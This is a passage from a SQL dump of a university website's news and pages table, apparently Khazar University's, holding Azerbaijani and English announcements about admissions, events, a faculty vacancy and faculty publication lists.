müdiri Zülfiyyə Sadıqova “Əməkdar\r\nmüəllim” fəxri adına layiq görülmüşdür.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bu haqda daha geniş məlumatı bu link\r\nvasitəsilə əldə etmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://president.az/articles/25239\">http://president.az/articles/25239</a>.&nbsp;</p>'),(4144,2425,'az','Xəzər Universitetinin layihəsi “İnnovasiya üçün tərəfdaşlıq” proqramının saytında yayınlandı','Xəzər Universitetinin koordinator olduğu “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi...','<p>Xəzər Universitetinin koordinator olduğu “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi və layihə çərçivəsində yaradılmış Əlilliyi olan Tələbələr üçün Mərkəzlər haqqında məlumat “İnnovasiya üçün tərəfdaşlıq” (Partnership for Innovation) proqramının saytında yayınlanmışdır.</p><p>Qeyd edək ki, “İnnovasiya üçün tərəfdaşlıq” (Partnership for Innovation) proqramı 2012-ci ildə Qazaxıstanda həyata keçirilməyə başlanmış və məqsədi QHT-lərin potensialını artırmaqla Mərkəzi Asiyada vətəndaş cəmiyyətini gücləndirmək və regional əməkdaşlığı genişləndirməkdən ibarətdir.</p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://cso-central.asia/v-azerbajdzhanskix-vuzax-sozdany-centry-dlya-studentov-s-invalidnostyu/\">http://cso-central.asia/v-azerbajdzhanskix-vuzax-sozdany-centry-dlya-studentov-s-invalidnostyu/</a></p><p>Mərkəzi Asiya və Azərbaycanda fəaliyyət göstərən vətəndaş cəmiyyətləri arasında qarşılıqlı əlaqəni, şəbəkələşməyi və davamlı inşikaf vasitəsilə hər iki ölkənin vətəndaş cəmiyyətinin gücləndirilməsindən ibarətdir.</p><p><a href=\"http://argonet.org/en/projects/partnership-for-innovations-program/\">http://argonet.org/en/projects/partnership-for-innovations-program/</a>.</p><p><a href=\"http://cso-central.asia/v-azerbajdzhanskix-vuzax-sozdany-centry-dlya-studentov-s-invalidnostyu/\"></a></p>'),(4145,2426,'az','Hindistan səfirliyində görüş keçiriləcək','2017-ci il sentyabrın 22-si saat 18:00-da Hindistanın Azərbaycandakı səfirliyi kitabsevərləri “These Circuses That Sweep Through the Landscape” kitabının müəllifi ilə görüşə dəvət edir...','<p>2017-ci il sentyabrın 22-si saat 18:00-da Hindistanın Azərbaycandakı səfirliyi\r\nkitabsevərləri “<em>These Circuses That Sweep\r\nThrough the Landscape</em>” kitabının müəllifi ilə görüşə dəvət edir. Görüş Hindistan\r\nsəfirliyində keçiriləcək.</p><p>Maraqlananlar <a href=\"mailto:indianembassybaku@gmail.com\">indianembassybaku@gmail.com</a> elektron ünvana\r\nyazaraq, qeydiyyatdan keçə bilərlər. Qeydiyyatdan keçənlərə dəvətnamə göndəriləcək. <a href=\"/files/pdf/events/Book%20reading%20invite.pdf\">PDF</a></p>'),(4470,2650,'en','Vacancy: Computer Science and Computer Engineering department is seeking candidates','Khazar University’s Computer Science and Computer Engineering department is seeking candidates to fill a vacant position for teaching pertinent major courses...','<p>Khazar University’s Computer Science and Computer Engineering department is seeking candidates to fill a vacant position for teaching pertinent major courses (Data Structures, Computer Organization, Operations Research, Introduction to Theory of Computation, Introduction to Compilers, Operating Systems, Information Security, Computer Graphics) in the Spring Semester of 2018. Holders of MS and/or PhD degrees in the fields of CS/CE are welcome to apply. The medium of instruction in the School of Engineering and Applied Sciences is English. If interested, please send your CV to the attention of Dr. Mahammad Sharifov, the coordinator of Computer Science department, at <a href=\"mailto:msharifov@khazar.org\">msharifov[at]khazar.org</a>.</p><p><strong>Deadline is <em>January 31, 2018</em></strong>.</p>'),(4146,2427,'az','Hamlet İsaxanlı Lütfi Zadənin əsl varisinin kim olduğundan yazdı','2017-ci il sentyabrın 19-da Xəzər Universiteti Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının tanınmış alim Lütfi Zadənin mənəvi varisi ilə bağlı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il sentyabrın 19-da Xəzər\r\nUniversiteti Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının\r\ntanınmış alim Lütfi Zadənin mənəvi varisi ilə bağlı “müəmmalı” məqamlara\r\naydınlıq gətirən məqaləsi mətbuatda yayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Məqaləni tam şəkildə bu linklər vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://xalqinfo.az/blokxeber/59231-ham-bilir-ki-ltfi-zadnin-varisi-rafiq-liyevdir-.html\">http://xalqinfo.az/blokxeber/59231-ham-bilir-ki-ltfi-zadnin-varisi-rafiq-liyevdir-.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://modern.az/az/news/143736\">http://modern.az/az/news/143736</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://mektebgushesi.az/2017/09/19/hamlet-isaxanli-hami-bilir-ki-lutfi-zad%c9%99nin-varisi-rafiq-%c9%99liyevdir/#Kalibri\">http://mektebgushesi.az/2017/09/19/hamlet-isaxanli-hami-bilir-ki-lutfi-zadənin-varisi-rafiq-əliyevdir/</a>.&nbsp;</p>'),(2094,1285,'az','Xəzər universitetinə qəbul olan  tələbələrin siyahısı məlum oldu ','Əziz tələbələr, Xəzər Universitəsinə qəbul olunmağınız münasibəti ilə Sizi təbrik edir, gələcək təhsilinizdə uğurlar arzulayırıq...','<p>Əziz tələbələr, Xəzər Universitəsinə qəbul olunmağınız münasibəti ilə\r\n  Sizi təbrik edir, gələcək təhsilinizdə uğurlar arzulayırıq.  </p>\r\n<p>Qəbul olanlar aşağıda göstərilən sənədləri  </p><p>avqust ayının 15-dən 25-ə qədər universitetə təqdim etməlidirlər. </p>\r\n<p>Sənədlərin siyahısı </p>\r\n<p>* iş nömrəsi, şifr  </p><p>* Attestat </p><p>* Sağlamlıq haqqında tibbi arayış                         </p><p>* Şəxsiyyət vəsiqəsinin surəti </p><p>* Şəkil  (rəngli, 4 ədəd, 3 X 4 ölçüdə) </p><p>* İllik təhsil haqqı  </p>\r\n<p>Qeyd: Sənədləri abituriyent şəxsən təqdim etməlidir   </p>'),(2095,1287,'az','Xəzər universitəsinin Rəqs Kollektivi Arhavi Festivalında.','Xəzər Universitəsinin oğlanlardan və qızlardan ibarət  “Xəzər” Rəqs Kollektivi  Arhavi  Bələdiyyəsinin rəsmi dəvəti ilə 22 avqust ...','Xəzər\r\n Universitəsinin oğlanlardan və qızlardan ibarət &nbsp;“Xəzər” Rəqs \r\nKollektivi &nbsp;Arhavi&nbsp; Bələdiyyəsinin rəsmi dəvəti ilə 22 avqust\r\n2016-cı il tarixində Bakıdan Türkiyəyə yola düşəcəkdir. Onlar 44-cü \r\nBeynəlxalq Arhavi Festivalında Azərbaycanı təmsil edəcəklər.'),(2096,1288,'az',' Abituriyent jurnalı çapdan çıxdı ','Abituriyent jurnalının 7-ci sayında Respublikanın ali təhsil müəssisələrinə qəbul olan tələbələrin siyahısı açıqlanmışdır...','<p>Abituriyent jurnalının 7-ci sayında Respublikanın ali təhsil müəssisələrinə qəbul olan tələbələrin siyahısı açıqlanmışdır. Müsabiqədə 38118 abituriyent iştirak edib. Onlardan 34224 nəfəri ali təhsil müəssisələrinə qəbul olunub. 12309 nəfər dövlət sifarişi əsasında, 21915 nəfər isə ödənişli əsaslarla təhsil almaq hüququ əldə edib.</p><p>Qəbul olan tələbələr 2016-cı il avqustun 15-dən 25-dək sənədlərini daxil olduqları təhsil müəssisəsinə təqdim etməklə qeydiyyatdan keçməlidirlər.</p>'),(2097,1289,'az','Bakalavr səviyyəsinə qəbul olmaq istəyən abituriyentlər üçün ixtisas seçimi ','2016-2017-ci tədris ilində Xəzər universitetinə qəbul olmaq istəyən abituriyentlər üçün ixtisas seçimi davam edir...','2016-2017-ci tədris ilində Xəzər universitetinə qəbul olmaq istəyən abituriyentlər üçün ixtisas seçimi davam edir. İxtisas seçimi iyulun 29-dan avqustun 10-dək internet vasitəsilə aparılır. Xəzər universitetinə qəbul olan tələbələrin siyahısı avqust ayının 15-də məlum olacaq. Qəbul olan tələbələrin ali məktəbdə qeydiyyatı isə 15-25 avqust aralığında aparılacaq.'),(443,282,'az','Nəşrlər','Nəşrlər','<p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>Nəşrlər</strong></p><p style=\"text-align:left\"><strong>Richard Rousseau</strong></p><p style=\"text-align:justify\"><strong>Kitablar&nbsp;və monoqrafiyalar</strong></p>\r\n<p style=\"text-align: justify;\" margin-left:27.0pt;text-indent:-.25in\"=\"\">L’effondrement de l’Union soviétique; le rôle de la dégradation de l’environnement [The Collapse of the Soviet Union: The Role of Environmental Degradation], Presses de l\'Université Laval (Canada), 240 pages, 2012.</p>\r\n<p style=\"text-align: justify;\" margin-left:27.0pt;text-indent:-.25in\"=\"\">Corruption in Russia, Looming Consequences, and Potential Solutions, Ashgate, Aldershot, 200 pages, September 2013.</p>\r\n<p style=\"text-align:justify\"><strong>Kitab bölmələri</strong></p>\r\n<p style=\"text-align: justify;\" margin-left:27.0pt;text-indent:-.25in\"=\"\">Iranian and Iraqi Kurdistan: the Dilemma of the Disputed territories, in Bilgin, Fevzi (Ed.), The Kurdish Issue in Turkey, Georgetown University Press, 2013</p>\r\n<p style=\"text-align:justify\"><strong>İstinad edilən məqalələr</strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Risks and Opportunities in Emerging Markets: The Cases of India and China, Journal of Global Analysis, Vol. 3, No. 2, 2012</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">The False Promise of Peace Processes: NATO-Russia Relations on the Eve of Putin’s Coming to Power (2000-2002),Current Politics and Economics of Russia, Eastern and Central Europe, Vol. 27, No. 1, 2013</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Central Asia: the complex management of water resources, The Caucasus &amp; Globalization (Sweden), March, 201</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Tulip Revolution in Kyrgyzstan: Real Revolution or State Collapse? Central Asia and the Caucasus (Sweden), January 2013.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Kazakhstan: Continuous Improvement or stalemate in its Relations with China? Strategic Analysis (Routledge Taylor &amp; Francis), Vol. 37, No. 1, January 2013.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Dimensions and Implications of Drug Trafficking and Consumption in Central Asia, Central Asia Survey, Volume 31, No. 4, 2012.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">China’s Growing Economic Presence in Ukraine and Belarus, Strategic Analysis (Routledge Taylor &amp; Francis) Vol. 36, No. 1, January 2012, p. 18-22.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">The Role of Media in the Two Russia-Chechnya Wars in the 1990s, Journal of Central Asia and the Caucasian Studies (JCACS), Vol. 6, No. 11, Winter 2012.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Strategic Perspectives: A Look at Clausewitz, Sun-Tzu and Thucydides, Khazar Journal of Humanities and Social Sciences, Vol. 15, No. 1, 2012.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">De la légalité et la légitimité de la «&nbsp;guerre préventive&nbsp;»,Khazar Journal of Humanities and Social Sciences, Vol. 14, No. 4, 2011. <a href=\"http://jas-khazar.org/wp-content/uploads/2012/02/01Richard-Rousseau-De-la-legalite-et-la-legitimite-de-la-guerre-preventive-Khazar-Journal1.pdf\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Competing Geopolitical Interests of China, Russia and the United States in Central Asia and the Caspian Region, Khazar Journal of Humanities and Social Sciences, Vol. 14, No. 3, 2011, pp 13-30. <a href=\"http://jas-khazar.org/wp-content/uploads/2011/11/02R-Rousseau-Competing-Geopolitical-Interests-of-China-Russia-Khazar-Journal1.pdf\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Shifts in Azerbaijan’s Foreign Policy Towards the Euro-Atlantic Alliance, GeoPolitica, Volume 40, No. 2, 2011. <a href=\"http://www.geopolitic.ro/rezumate%20geopolitica.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">The Drug Trade in Central and South Asia: The Northward Route Through Central Asia, Current Politics and Economics of South, Southeastern, and Central Asia, Vol. 21, No. 1, 2012.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Corporate Governance around the World: Anglo-Saxon Countries, Germany, Japan and Latin American Countries,<strong>&nbsp;</strong>IBSU Journal of Business, Vol. 2, (2), 2012. IBSU Journal of Social Studie<a></a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">The Europeanization of Security and Turkey’s Membership of the European Union, The Caucasus Journal of Social Sciences, Vol. 4, No. 2, Spring 2012.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Dimensions of Russian Foreign Policy towards Georgia between Vladimir Putin’s 2000 Election and the 2003 Rose Revolution, The Caucasus Journal of Social Sciences, Vol. 4, No. 1, Fall 2011.<br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong style=\"text-align:justify\">Muxtar Hac</strong><strong style=\"text-align:justify\">ızadə</strong></p><p style=\"text-align:justify\">‘New Regionalism in Europe’s Black Sea Region: Measuring and comparing intra- and cross-regional patterns of trade regionalisation’(2013),&nbsp;East European Politics, Special Issue Vol. 29, Issue 3. (co-authored with Florent Marciacq.)<strong></strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:28.35pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">Complex Regionalisation in the Wider Black Sea Area&nbsp;(2012), PhD thesis. University of Leicester. <a href=\"https://lra.le.ac.uk/handle/2381/27769\">Məqaləni oxu</a></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:28.35pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Democratisation of the BSEC Parliamentary Assembly and the Implications for Conflict-Resolution in the wider Black Sea area’ (December 2011), Policy Brief&nbsp;01, published by the Centre for International and European Studies (CIES), Kadir Has University, Istanbul (ISBN 978-975-8919-67-3). (Co-authored with Carol Weaver.)</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:28.35pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Complex Regionalisation in the Wider Black Sea Area’ (2010), in&nbsp;The Black Sea Region and EU Policy: The Challenge of Divergent Agendas, edited by Henderson, K. and Weaver, C., Ashgate Publishing Limited, Surrey, pp 119-34 (ISBN 9781409412014). (This contribution was peer-reviewed.)</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:27.0pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Complex Regionalisation in the Wider Black Sea Area’, oral presentation at the Faculty of Administrative Sciences and Economics, organised by The Center for Research on Globalization and Democratic Governance (GLODEM), Koç University, 9 May 2013</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:27.0pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘EU-Russia relationship: Reflections on the regionalisation in the wider Black Sea area’, presented at the international conference titled ‘Russia and the EU: the future of Europe and Eurasia’ organised by The University Association for Contemporary Studies (UACES) EU-Russia Collaborative Research Network at the Russian Academy of Science Institute of Europe, Moscow, 15-16 April 2013</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:27.0pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Europeanisation of the Black Sea regionalisation’, a paper presented at the international conference on Security, Democracy and Development in the Southern Caucasus and the Black Sea Region, Kadir Has University, Istanbul, 13 October 2012</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:27.0pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘New Regionalism in Europe’s Black Sea Region: Measuring and comparing intra- and cross-regional patterns of trade regionalisation’, a paper (co-authored with Florent Marciacq) presented at the 41st Annual Conference of the University Association for Contemporary European Studies, 7 September 2011, Cambridge</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:27.0pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Security Imperative and New Regionalism in the EU’s Eastern European Neighbourhood’, a Jean Monnet presentation at the Department of Politics and International Relations, Leicester University, 12 January 2011</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘A case of regionalisation in the wider Black Sea area: political mechanisms and economic convergence’ a paper presented at the&nbsp;Fifth Pan-European Conference on EU Politics,&nbsp;organised by the European Consortium for Political Research (ECPR), Standing Group on the European Union, hosted by the University Fernando Pessoa and Faculty of Economics of Porto University (Porto, Portugal), 26 June 2010</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Regionalisation around the Black Sea’, a paper presented at the&nbsp;PhD Symposium on Modern and Contemporary South East Europe, organised by LSEE (Research on South Eastern Europe), European Institute, LSE, 18 June 2010</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">\'EU Policies and Black Sea Economic Cooperation\', oral presentation at the conference&nbsp;A Clash of Agendas: EU Policy in the Black Sea Region&nbsp;convened by the Department of Politics and International Relations of Leicester University, 8 May 2009</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">“The Black Sea Region: the EU’s final external border or an internal challenge?”. a poster selected for presentation at the Leicester University’s&nbsp;Festival of Postgraduate Research, 25 June 2009 (This was the only selected presentation to represent the Department of Politics and International Relations at the event)</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">\'The EU and its Eastern Partners in the Wider Black Sea Region: Counterweights or Counterpoints?\', oral presentation at the annual conference of the British Association for Slavonic and East European Studies (BASEES), Fitzwilliam College, Cambridge, 29 Mar 2009</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘The EU\'s Black Sea Dimension in the context of the Wider European Architecture’, a paper presented at the&nbsp;7th Biennial Conference on ‘The Maturing European Union’&nbsp;organised by the European Community Studies Association - Canada (ECSA-C), Edmonton, 26 September 2008<br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong style=\"text-align:justify\">Kənan Allahverdiyev</strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">Материалы V Международного форума стран-партнеров в области подготовки и переподготовки кадров для государственной и муниципальной службы /Кыргызстан, Бишкек, 17-18 декабря 2010 г./ Вестник Академии управления при Президенте Кыргызской республики, 2011, № 12, с. 218 -223</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">Нагорно-Карабахский конфликт и глобальная геополитика.&nbsp;Вестник Академии управления при Президенте Казахстанской Республики, 2012, № 1</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">The Caucasian pentagram: a curse or a lucky chance?&nbsp;The Caucasus &amp; Globalization, Journal of Social, Political and Economic Studies,Vol.7, Issue 3-4, 2013, Sweden, CA&amp;CC Press, pp.7 -26</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">Человек, общество, природа в эпоху глобальных трансформаций: безопасность и развитие. Семнадцатые Вавиловские чтения: материалы постоянно действующей международной междисциплинарной научной конференции:в 2 ч./под общ.ред. проф. В.П. Шалаева. – Йошкар-Ола: Поволжский государственный технологический университет, 2014. Часть I, с.8-10</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">The national idea and national ideology in the sustainability of ethnocultural identity.&nbsp;Central Asia and the Caucasus, Journal of Social and Political Studies, Vol.16, Issue 3-4, 2015, Sweden, CA&amp;CC Press, pp. 32-41</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">«Большой Кавказ» в геополитике ХХI века.&nbsp;Социальное время. // Научный журнал. 2015, № 3. Йошкар-Ола: Поволжский государственный технологический университет, с. 109-118</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">Nature of phenomenon of ethno-confessionality: ethnic or religious?&nbsp;The International Journal of Human Resources Management. Vol 27, Isssue 18, 2016, pp. 128 – 133 // Indexed by Sosial Science Citation – Thomson&amp;Reuters. Impact Factor: 1.042&nbsp;<br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong style=\"text-align:justify\">Elsev</strong><strong style=\"text-align:justify\">ər Məmmədov</strong></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Memorandum of Understanding between Gazprom and Socar: No Shah deniz qaz for Nabucco? Conference presentation, Black Sea Energy Conference, Romania, 2010<strong></strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">The Budapest summit of Nabucco: Opportunities and Challenges,&nbsp;Conference Speech, Gustav Stresemann Institut Bonn, XXI European Summer Academie, 2010</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:22.5pt;text-indent:-.25in;line-height:106%\"=\"\">Nord- und Südkaukasus in der europäischen Nachbarschaft: Trianguläre funktionale Kooperation und Wettbewerb in einer heterogenen Region. Russland, EU und Kaukasus Integration, Volume 38 (2015), Issue 1, P. 92-97</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:22.5pt;text-indent:-.25in;line-height:106%\"=\"\">Conference speech: “EU in Azerbaijan: Cooperation in the context of strategic instruments”, July 3-4, 2014, Schader-Forum, Darmstadt, Germany. <a href=\"http://www.schader-stiftung.de/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:22.5pt;text-indent:-.25in;line-height:106%\"=\"\">Russia-hosted Nagorno-Karabakh Talks: Background Motives, Caucasus Analytical Digest (CAD), 2011. <a href=\"http://www.css.ethz.ch/publications/CAD_EN\">Məqaləni oxu<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong style=\"text-align:justify\">Elmar Mustafayev</strong></p><p><strong style=\"text-align:justify\">Kitab bölməsi</strong></p><p>Mustafayev, E., Alessandrini, B., &amp; Pane, N. (2016). Le guerre del Caucaso meridionale. In G. Natalizia, Il Caucaso Meridionale: Processi politici e attori di un’area stretegica (pp. 91-128), Rome, Italy, Aracne editrice. Doi: 10.4399/97888548892176. <a href=\"http://www.aracneeditrice.it/aracneweb/index.php/pubblicazione.html?item=9788854889217&amp;tab=indice\">Bölməni oxu</a><br></p><p><strong>Məqalələr</strong></p>\r\n<p style=\"text-align:justify\">Mustafayev, E. (2016). Le guerre del Caucaso meridionale [Wars in the South Caucasus]. Natalizia, G. (Ed.). Il Caucaso Meridionale: Prosesi politici e attori di un’area strategica. [The South Caucasus: political processes and actors of the strategic area]. Aracne. Rome. pp. 113-161</p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">Mustafayev, E. “Can Moscow reconcile two hostile nations of the Caucasus?” Centro studi de geopolitica e relazioni internazionali. Rome. 25 May, 2016. <a href=\"http://www.geopolitica.info/hostile-nations-of-the-caucasus/\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in;line-height:normal\"=\"\">Mustafayev, E. “The Russo-Turkish Crisis and the risk of war”. Centro studi de geopolitica e relazioni internazionali. Rome. 27 February, 2016. <a href=\"http://www.geopolitica.info/russo-turkish-crisis/\">Məqaləni oxu<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong style=\"text-align:justify\">Rəşad Hüseynov</strong></p><p><span style=\"text-align:justify\">Azerbaijan-Turkey-Israel: issue of strategic partnership, monograph, Baku, Elm, 2007  <br></span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span>Azerbaijan-Turkey-Israel: Cooperation in security and fight against international terrorism, «Dirçəliş»,&nbsp; № 104-105, 2006</p><p style=\"text-align:justify\">Турция-Израиль: по пути укрепления военного сотрудничества, “Elmi Axtarışlar”, № 25, 2006</p><p style=\"text-align:justify\">Торгово–экономические связи Азербайджана и Израиля: современное состояние и перспективы“, Elmi Axtarışlar”, № 23, 2006</p><p style=\"text-align:justify\">Транскаспийский газопровод – новые возможности для стратегического партнерства Азербайджан-Турция-Израиль. “Şərq-Qərb: sivilizasiyaların dialoqu” № 3-4, 2006</p><p style=\"text-align:justify\"><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"text-align:justify\"><strong>Rəşad Ağazadə</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Book</strong></p><p style=\"text-align:justify\">Agazade, Rashad (2007). International relations and public relations, Baku, Azerbaijan</p><p style=\"text-align:justify\"><strong></strong><strong>Articles</strong></p><p style=\"text-align:justify\">“Mədəniyyətlərarası dialoq və diaspora fəaliyyəti ictimai diplomatiya vasitəsi kimi”,/“Dövlət İdarəçiliyi: nəzəriyyə və təcrübə”, Bakı, 2015</p><p style=\"text-align:justify\">“Azərbaycan Respublikasının xarici siyasətində mədəniyyət diplomatiyası”, /“Sivilizasiya”, Bakı, 2015</p><p style=\"text-align:justify\">“Searching for a new foreign policy strategy for Azerbaijan – Public Diplomacy efforts”,/“European Scientific Journal”, Eurasian Multidisciplinary Forum Publication, Tbilisi, Georgia/2013</p><p style=\"text-align:justify\">Политический Паблик 